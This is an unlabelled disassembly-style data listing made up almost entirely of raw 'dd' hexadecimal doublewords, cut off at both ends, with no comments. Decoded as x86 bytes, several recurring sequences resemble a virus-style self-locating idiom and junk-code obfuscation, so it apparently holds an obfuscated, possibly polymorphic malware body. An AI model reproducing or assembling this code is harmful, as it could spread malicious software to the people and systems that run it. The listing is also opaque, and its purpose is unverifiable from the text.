8BD88BC3h, 441555B5h, 9B58B06h, 0C706442Eh dd 44178185h, 30391706h, 0F7BF0F5Ah, 68A0Fh, 0B58B0000h dd 6441975h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 5B2043C3h, 5E99279h, 0E6000000h dd 1E39A6A1h, 167DBD81h, 7D00644h, 850F0000h, 4Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 10C35545h, 0CF753007h dd 0FF95C511h, 44167D85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 89406E00h dd 4419EDB5h, 7DB5FF06h, 6A064416h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 2FFEC356h dd 0ACB2E94Eh, 10E9525Eh, 3C000000h, 7BD98F3Ch, 0A1D7905Ch dd 82008065h, 0FF9AA630h, 441C4D95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0E985094Bh dd 90064430h, 12E8h, 0CF5E9300h, 0BE071E60h, 67B9CEFEh dd 0E697DECDh, 0E823362Eh, 0Ah, 7F819D15h, 9543C30Ah, 5E572C4Ch dd 1525FF5h, 441055BDh, 6A5E5F06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8C9DC352h dd 6A87FA5Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0D102C355h, 9D9D8952h, 5F064420h dd 8CDE8166h, 56006ACCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0FEBAACAEh, 0CD804892h, 60C68166h dd 56006ADEh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0A9B58B7Ch, 3306442Ch, 4402F9B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 7D7CB9B5h, 0FDBB360h, 586h, 0FB8B6600h, 0FC61C18Bh dd 0F810Fh, 840F0000h, 3, 81FA8B66h, 0CF8082E7h, 0F74FE970h dd 8166FFFFh, 29774FE6h, 4421699Dh, 0B18D0106h, 8B06442Ch dd 0FFB70FC1h, 4EBh, 0B5030000h, 6442A0Dh, 0EE8h, 0D2035900h dd 0D5F975E2h, 1A83FA23h, 0F048049h, 386h, 0F78B6600h dd 858DF85Fh, 6441BE1h, 7E8h, 0C4A2A000h, 0D9B2E4A0h, 1F49B52Bh dd 905E0644h, 1D8F0Fh, 11E80000h, 63000000h, 2CAD3158h dd 4D64CB70h, 238199BCh, 0D9838F86h, 8E0Fh, 505F0000h dd 90F88B66h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0CEC35040h, 3B99589h, 6A0644h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 59C35646h, 7F148C04h, 6AFA8B66h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0E53E9D20h, 952942D8h, 6441875h, 0FFCD858Dh dd 6A0647h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0B49C66C3h, 0D8B6A48Dh, 83F78BFDh, 6A05C0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 6420A6C3h, 0F3806E40h, 12E9h, 0B5AEF600h, 0E7311246h dd 0ECFDB8E2h, 26ED6B9Ah, 5074238Fh, 188B0Fh, 10E80000h dd 0B3000000h, 0EEDAD0D8h, 0C700ABE8h, 0B0133577h, 8BCC6673h dd 4895EFEh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 22BCE094h, 0BD3324F9h, 6AFA8B66h dd 0B70F6000h, 0F763BBC3h, 6A6129A9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0F49E7133h, 9239E2EEh, 31BD8909h, 0FF06441Ah, 44182595h dd 979D8D06h, 0F06479Ah, 18Bh, 0D3FFFC00h, 2B818589h, 0BF0F0644h dd 0E985FFF7h, 6A064408h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 60DBC355h, 0FF6C1AAh dd 68Fh, 0FFDF8100h, 0E9716456h, 76Fh, 0E8h, 0ED815D00h dd 647FFD7h, 258D89FCh, 8106441Ah, 44167DBDh, 7D006h, 45860F00h dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 2B72C350h, 33D19D8Bh, 81600644h dd 599D53D8h, 15958B3Bh, 6106441Bh, 100E381h, 0B5290000h dd 6443231h, 850FDB0Bh, 0A0h, 1E6D8D29h, 0BD830644h, 647FDBCh dd 4B840F00h, 8B000000h, 4408E5B5h, 0B0E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0E8373AC3h, 11h, 6E3DFF93h, 0A4A0849Bh, 0EBB412DBh dd 29B19D05h, 0BDBD8B39h, 5F06441Eh, 0D778C781h, 85C70A81h dd 647FDBCh, 1, 6840Fh, 85890000h, 644213Dh, 55E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 35782B3Eh, 8D0F421Eh, 0 dd 0FDBC85C7h, 647h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 709A2C3h, 902BBE63h dd 9D8D6530h, 64433D1h, 0BE1B58Bh, 23810644h, 0FFFFFEFFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 2DC35141h dd 5F520B4Fh, 6ADB8C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0A3D1C351h, 0DBD8B84h dd 0F6064400h, 840F04C3h, 2Eh, 0F26EBF66h, 1C8195FFh, 9D310644h dd 6442351h, 50F88B90h, 0FE9h, 4E4E3A00h, 6486B61Ah, 0C6ACDA5Eh dd 5D3937AAh, 0E6816690h, 8FE96A61h, 29000003h, 4432B58Dh dd 6A00B006h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0E665C357h, 0AFB5E1CCh, 7B8EF8CCh dd 0FC70E6F5h, 8C0F71E4h, 8, 0E19D2960h, 61064413h, 8BD8B60Fh dd 4431C1B5h, 4889BE06h, 6BA49FAh, 9000000h, 440F59BDh dd 0C1C38B06h, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 66718BC3h, 0DC3FF262h, 1FB99509h dd 0F7660644h, 7D9BBFE2h, 0D82B3D3Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 50C35040h, 0DFD7AE48h, 569D882Dh dd 7D8D31CCh, 6606442Fh, 5093F98Bh, 4CB86660h, 14E8C9h dd 4F150000h, 490C1983h, 9DC34CB2h, 36918C6Fh, 8D0703FCh dd 880FA465h, 0 aZauj db 'Za⌠j',0 db 57h, 0E8h, 3 dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0CF92C357h, 167DB5FFh, 800F0644h, 0 dd 305D8589h, 95FF0644h, 6441C4Dh, 0C1EE8166h, 6A00B021h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0E4D8C356h, 1E78EE2Ah, 0BBC734EFh, 0BD8B70E6h dd 644182Dh, 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0B58B53C3h, 64402E1h, 830F613Ch dd 212h, 0FF6B70Fh, 6AD8B6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 612B0DC3h, 9A81BE66h dd 8B6BF66h, 6BAh, 12E900h, 0EF590000h, 6A80AFF9h, 48D15F09h dd 78ADC599h, 32C32B57h, 0B533C38Bh, 6441FB1h, 8B04E8C1h dd 441D4DB5h, 0E2F76606h, 959D8B60h, 0FC06441Ah, 0E8D82B61h dd 6, 0A992995Fh, 8D0113D5h, 6441D11h, 840F5Fh, 58000000h dd 2849BD8Bh, 0D82B0644h, 184880Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0A688B0C3h dd 0AA97B262h, 0B70F61AEh, 816660F9h, 611D9AE0h, 0B9F18B66h dd 7, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah dd 33C35747h, 15FC50B3h, 860F709Eh, 6, 10BDB533h, 0C1830644h dd 11E900h, 4D650000h, 8D574AB3h, 9061E3B5h, 7C2514A2h dd 3B186FA9h, 0FF860FD9h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 16ACC357h dd 40EF6AB6h, 0E9BE8043h, 13h, 0CF4D49D1h, 43343BD9h, 0F122C414h dd 18607929h, 6625DB2Dh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 599EBCC3h, 0C1F6B7EAh dd 8F840F04h, 89000000h, 442C8D9Dh, 8195FF06h, 6A06441Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0DACDC356h, 0F05E5A39h, 830FB0FFh, 0 dd 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8A0FDD35h, 0Bh, 0D78B6660h, 2EB9958Bh, 2B610644h dd 6850FC3h, 33000000h, 4420A9B5h, 8343D06h, 860F0000h dd 12h, 0DEBE6652h, 0E9F95F9Fh, 0Eh, 83EFC681h, 0C08B4E4Fh dd 2289B523h, 0C38B0644h, 8589D88Bh, 6440F85h, 28C185C7h dd 0AF350644h, 0F6813C5Bh, 40F1773h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 89E5DFC3h dd 4403B5B5h, 7DBD8106h, 0D0064416h, 0F000007h, 0C85h dd 0FB8B6600h, 167D85FFh, 0BF0F0644h, 7DB5FFFAh, 6A064416h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 46A0C355h, 0DF30D117h, 0F9BD8B8Ch, 0FF06440Dh dd 441C4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0EFB1AB37h, 9D3B6E1h, 4409598Dh dd 95899006h, 6441E85h, 1F958D29h, 85890644h, 64430C9h dd 66F38B66h, 7AB8DE81h, 21DDB58Bh, 6A0644h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 9341D0C3h dd 7C24E452h, 53006ABEh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 1B112D9Eh, 820F33h, 8B000000h, 443049BDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 2DC519EAh, 8953B306h, 441DA1B5h, 81665E06h dd 8BC97ACFh, 0FE960F1h, 0A5000000h, 40287764h, 564F2202h dd 0D593F24Eh, 0BD8911C5h, 6442D81h, 15B50B61h, 0E8064425h dd 6, 0D969C902h, 0B589778Dh, 64416A5h, 108E0F5Eh, 8B000000h dd 4430FDBDh, 8D0F5106h, 0 dd 0BE5EF08Bh, 1FE6E39Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 1C35545h, 0CB42BA28h, 0EF90E48Eh, 0FFF8D7E9h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 239C8324h, 12E8B9F3h, 51000000h, 0AFAAEEECh dd 71D67B2Bh, 5372D7CBh, 5B75743Ch, 0B589F8FCh, 6441CD9h dd 0DBD095Fh, 8B06440Eh, 0B58B56C1h, 6442ABDh, 4EB5Fh dd 8B000000h, 55006AF1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 893B9DF7h, 4425D195h, 0E1858D06h dd 0F06441Bh, 1081h, 0BE900h, 9410000h, 4AD2DB64h, 3FE4CBF0h dd 0E85090DEh, 12h, 33A4B813h, 0BD73A3Dh, 93237C17h, 28002694h dd 905EB7B3h, 0A27E11BEh, 9277BE70h, 6A7CE5h, 211DBD8Bh dd 15BE0644h, 6A5E5304h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 858DFB24h, 64808A8h, 5C083F8h dd 0CE95E51h, 8C000000h, 0E2D55EF9h, 41DE2F0Eh, 90419191h dd 50F28B66h, 697E7FBEh, 6A9035h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0E155AEC3h, 0F38BB65Ch dd 8E9h, 0A7D9F300h, 89D4C335h, 81006AE3h, 4A36F0D6h, 0F9006A34h dd 182595FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0FF8EB4C3h, 0D1B58B8Eh, 8D064419h dd 479A979Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 745CFFECh, 29D3FF55h, 441D2195h dd 0E985FF06h, 66064408h, 75E9FA8Bh, 0E8000008h, 0 dd 0B2ED815Dh, 0E9064808h, 7, 8AA1622Fh, 81628704h, 44167DBDh dd 7D006h, 9B860F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 72B1C350h, 8BFBF5BDh dd 440DF59Dh, 0E38106h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2522C355h dd 0CAA36F3Ah, 0FDB0BF5h, 0D585h, 0F6BF0F00h, 74DBD83h dd 0F000648h, 6F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 17FC8A09h, 8DD79C37h dd 89609135h, 440F7DB5h, 61CB8B06h, 0DE960h, 1F230000h dd 0DDB8C213h, 0A97E513Fh, 667BC129h, 0E961F78Bh, 86h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 35C35747h dd 69B4A899h, 0F9261BDEh, 74D85C7h, 10648h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 7ABEEBC3h, 66DBA021h, 2EC9E681h, 2DE9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0D52A9569h, 85C7B396h, 648074Dh, 0 dd 9D8DF98Bh, 6440DF5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0E5C35242h, 0D4E4C2C7h, 81B16FB8h, 0FFFEFF23h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 4FE57FE2h, 0EE953h, 6CED0000h, 54CCCB98h dd 0A1049C96h, 0C710D554h, 8C66F18Bh, 4C3F6DBh, 73840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 273D0EC3h, 6D7F9AE8h, 66F28B66h, 95FFF88Bh dd 6441C81h, 0D10EB8BFh, 79BD8915h, 5006440Ch, 489F38Bh dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0E98E71C3h, 11h, 0BE4AA8DFh, 0B88F354Bh dd 0FE5F70E0h, 0FA92707Dh, 401E97Ch, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B0F4C3h dd 419B589h, 70E60644h, 0DE8h, 0C2AAE300h, 791D5429h, 335805BCh dd 0F681E111h, 3CD1C4FCh, 8B71E45Eh, 440FE5BDh, 0D8B60F06h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 25C35646h dd 1BB06BDFh, 51A42680h, 6BAD5h, 8B660000h, 6AC38BF8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6575C351h, 8953321Ch, 4410298Dh, 14E806h dd 0ECDD0000h, 2EAF277Ah, 87D3AC9Dh, 722CE70Bh, 4FAD12EAh dd 8B667C8Bh, 8D315EFBh, 644036Dh, 6A04E8C1h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0F205C356h, 0D1CEC658h, 2911A689h, 4408CD9Dh, 0E2F76606h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B7C35141h dd 0F24F729h, 0D82BF6BFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 3AC35343h, 0AB6DD989h, 0BDB58B57h, 93064402h dd 1C880F50h, 60000000h, 13E9h, 0FBB2DE00h, 63D86C2Dh dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 936136B5h, 32318D01h dd 0B5FF0644h, 644167Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0A8C35141h, 9A766FC7h, 81666DBDh, 891244E7h dd 442AA59Dh, 4D95FF06h, 906441Ch, 44032DBDh, 6A00B006h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0C091C357h, 0D6A5BE67h, 70E651E1h, 0E4F08B66h dd 0EF815171h, 1ECDC218h, 0F613C5Eh, 21E83h, 0D8B60F00h dd 0AE9h, 0CA232500h, 0C5545175h, 0BAD47DBAh, 6, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9BC35646h, 58ACF4A4h dd 0CD0A29F0h, 1875BD8Bh, 8B530644h, 441CA1B5h, 0C38B5F06h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CDC35141h dd 3250C9BBh, 895DB57Fh, 8B04E8C1h, 442DE9B5h, 0E2F76606h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F9C35646h dd 0C8F0F41h, 0F000000h, 687h, 0E1BD8B00h, 2B064414h, 53006AD8h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0B5891252h, 6441631h, 0F9B58B58h, 0F064402h, 586h, 0D18B6000h dd 0D82B61F9h, 135880Fh, 800F0000h, 0Ch, 68D0Fh, 0B50B0000h dd 6442E41h, 7B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 3D8F60A6h, 834DB3FEh dd 0BD0900C1h, 64410A1h, 860FD93Bh, 0EBh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 14h, 31C35141h, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 350EC357h, 23E5EBD4h, 4C1F60Ah, 9F840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 10EFBAC3h, 892D0011h, 440DBD85h, 0A9B53106h dd 0FF064433h, 441C8195h, 0FDB58B06h, 5B06442Dh, 26258529h dd 0C32B0644h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 5AC35646h, 343DC01Fh, 0F000008h, 3486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 6093AFC2h, 0B1BCA5F2h, 0F18CBE5Ah, 8E927D0h, 81000000h dd 0FE28BCEh, 8BC08B60h, 6AD88BC3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0AFBC353h dd 0ADD2517h, 0FB8B2A39h, 33D185C7h, 0CF570644h, 6A5C21h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 76532CC3h, 0AE91FE6h, 36000000h, 0EF2097C8h, 0DC9F6FA6h dd 0AD8509C6h, 6006440Fh, 348BB866h, 0C08B61F8h, 41BF6656h dd 0BD815F1Fh, 644167Dh, 7D0h, 56850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0F64938C3h, 167D85FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0BEE265C3h, 12958193h dd 0E8F8BAFEh, 5, 0B2E741DCh, 5FF08BEAh, 167DB5FFh, 95FF0644h dd 6441C4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0D8C35545h, 0FEEDAD0h, 686h, 0D99D8900h, 9006442Bh dd 0C6DF8166h, 11890FF2h, 60000000h, 991F680h, 4420D1B5h dd 9D8D8906h, 6106442Eh, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 21BD8B01h, 8B06440Ch dd 442631BDh, 0EDB58906h, 0F9064407h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 8FC35040h, 6FC8BCFh, 9FBE52ACh dd 506A4404h, 1D55B589h, 0BD0B0644h, 6440F91h, 53006A5Eh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0F9A44EB0h, 6880F86h, 89000000h, 44288D95h, 0E0E78106h dd 8B06E5D5h, 441DB1B5h, 6D9D8906h, 8B06441Ch, 442C6DB5h dd 15B58B06h, 0F06441Bh, 238Dh, 1D860F00h, 8B000000h, 440009BDh dd 12E906h, 4EF60000h, 0D725D152h, 2C70779Ch, 68FE5045h dd 0DF923F08h, 0BA80BA60h, 0B58B7C2Bh, 6442FDDh, 0F79DE961h dd 850FFFFFh, 6, 2913F681h, 95314203h, 6441E95h, 6AC18Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0B0B6ACC3h, 6DC4F5FCh, 4EB5E50h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 80C35040h dd 0E9C14708h, 2BEE1D53h, 442225BDh, 0FAB70F06h, 1BE1858Dh dd 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0E5D647C3h, 0FE85020h, 0AD000000h, 2C4DD4D7h dd 14C7C790h, 0DEC14248h, 895F80E3h, 6A2404h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BEC35141h, 48683ED6h dd 428156h, 858B6034h, 64423D9h, 71A0BE66h, 0C860F61h dd 0F000000h, 689h, 0D5B52B00h, 6A064407h, 68F0F00h, 8B000000h dd 443399B5h, 8858D06h, 6A064813h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 23E3C356h dd 6F34B768h, 850F50BDh, 8, 870F60h, 61000000h, 9005C083h dd 90F18B50h, 1247D781h, 6A3C5Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 33C35141h, 9D897C57h, 6442151h dd 1EA5B58Bh, 6A0644h, 0A5B58B53h, 5E06440Dh, 182595FFh dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 527555C3h, 0BE66CD66h, 9D8D1D36h, 6479A97h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F9C35141h dd 811C143Bh, 53547ED6h, 0FB8B6663h, 85FFD3FFh, 64408E9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C7C35040h dd 0B560CC37h, 9CE932D8h, 0E8000007h, 0 dd 12ED815Dh, 6A064813h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 980CC350h, 9FBC6B6Bh dd 60FA5143h, 81CFB70Fh, 886C8DFh, 0BD816104h, 644167Dh dd 7D0h, 12F860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0FB8351C3h, 0FE9h, 0A2491C00h dd 790EC53h, 0A7E527B0h, 597134F1h, 2B799D8Bh, 0E3810644h dd 100h, 0DB0B5E53h, 0B2850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 662C6AC3h dd 4F3DE81h, 114ABD83h, 0F000648h, 3384h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0A1F4411h, 3810F63h, 0F000000h, 65E9FBB7h, 0BE000000h dd 1EBB27A2h, 114A85C7h, 10648h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 60E516C3h dd 82B194D4h, 0E94D6EB7h, 2Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0F3C35242h, 114A85C7h, 648h dd 0BD8B0000h, 6441039h, 2B799D8Dh, 0F88B0644h, 0FEFF2381h dd 12E9FFFFh, 28000000h, 38723A16h, 909DCABBh, 83DBA38Eh dd 0BE032505h, 0DB8C66C2h, 0F04C3F6h, 6584h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 95F1B61Fh, 8195FFC2h, 8B06441Ch, 6E890F1h, 0DF000000h dd 0DEBD25B7h, 0CFBE6607h, 50505E30h, 0FF18B52h, 5AF08B31h dd 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FA018C3h, 71E9FBBFh, 6A000003h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 25ACC356h, 0B5019DC4h, 6442915h, 2201B58Bh, 0B00644h dd 0E6F7B70Fh, 53006A70h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 9D9F761Ah, 89015813h dd 4428C98Dh, 6A71E406h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0E0E1C353h, 27530B03h dd 0E159531h, 0B60F0644h, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 6BA92ECh, 8B000000h dd 4417A1BDh, 6AC38B06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 2F9EC352h, 6507EBEEh dd 526FC396h, 0E476F781h, 0C15F7519h, 6A04E8h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8B5349C3h, 44090DBDh, 8B506006h, 441BD58Dh, 66615806h dd 6546CF81h, 2BE2F766h, 32BF66D8h, 85B58BCEh, 93064423h dd 6650FE8Bh, 6A93F38Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 5CC1C351h, 32622616h dd 0FF419C69h, 44167DB5h, 0AEDF8106h, 0FF424C98h, 441C4D95h dd 0B0F88B06h, 5EC68100h, 0E6420F0Fh, 5810F70h, 0BE000000h dd 30FD5B22h, 0CE871E4h, 89000000h, 1F4286ECh, 0F0A010B8h dd 5E257CC1h, 830F613Ch, 1E0h, 85D0CF81h, 0B60F3AE9h, 68C0FD8h dd 89000000h, 44026995h, 6BA06h, 0B70F0000h, 6AC38BF1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0E897C351h, 0AEBF662Ah, 4E8C130h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 50C35040h, 667FF60Ch dd 8529E2F7h, 6442A05h, 5810Fh, 81660000h, 2B7FECDEh, 38D681D8h dd 586338FCh, 2BF6B70Fh, 55880FD8h, 0E8000001h, 12h, 0CCD5E8A8h dd 0B93C863Eh, 98652915h, 0FD50DA2Ah, 14E86CB4h, 41000000h dd 954F37C0h, 647A5330h, 61FD1712h, 0ECA3792Ah, 0E9EA68C0h dd 0Ah, 44A4EBB5h, 2C2CE980h, 5E5F2E01h, 7B9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0EE0C6812h, 15118D89h, 85890644h, 6442D95h, 6600C183h dd 0D93BFA8Bh, 0D6860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 3A02E8C3h, 0FDBD8B86h dd 66064430h, 8D29D98Ch, 644163Dh, 0F04C1F6h, 9A84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 4A70C56Ah, 8195FF96h, 6A06441Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 69D6C355h dd 0F7E7EC18h, 2B99BF66h, 50006A5Bh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BF0F5597h dd 3D9589FFh, 2B064416h, 9D8B60C3h, 6441AEDh, 86F18166h dd 343D61B8h, 0F000008h, 0E86h, 0FDB58B00h, 0F806441Bh dd 7E9h, 8BFE8B00h, 0FB8B66C0h, 0D88BC38Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6C35242h, 59C9BF66h dd 0E359D89h, 0BF0F0644h, 0F585C7FBh, 1306440Dh, 8B3E1049h dd 441C5DBDh, 5CC68106h, 8B310E70h, 9D8D01C0h, 29064403h dd 44249195h, 7DBD8106h, 0D0064416h, 0F000007h, 3885h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0FC872E79h, 167D85FFh, 0BD8B0644h, 64431CDh dd 8E9h, 0D6EFD000h, 2B33EAFDh, 7DB5FF9Fh, 6A064416h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0E8BBC355h, 13h, 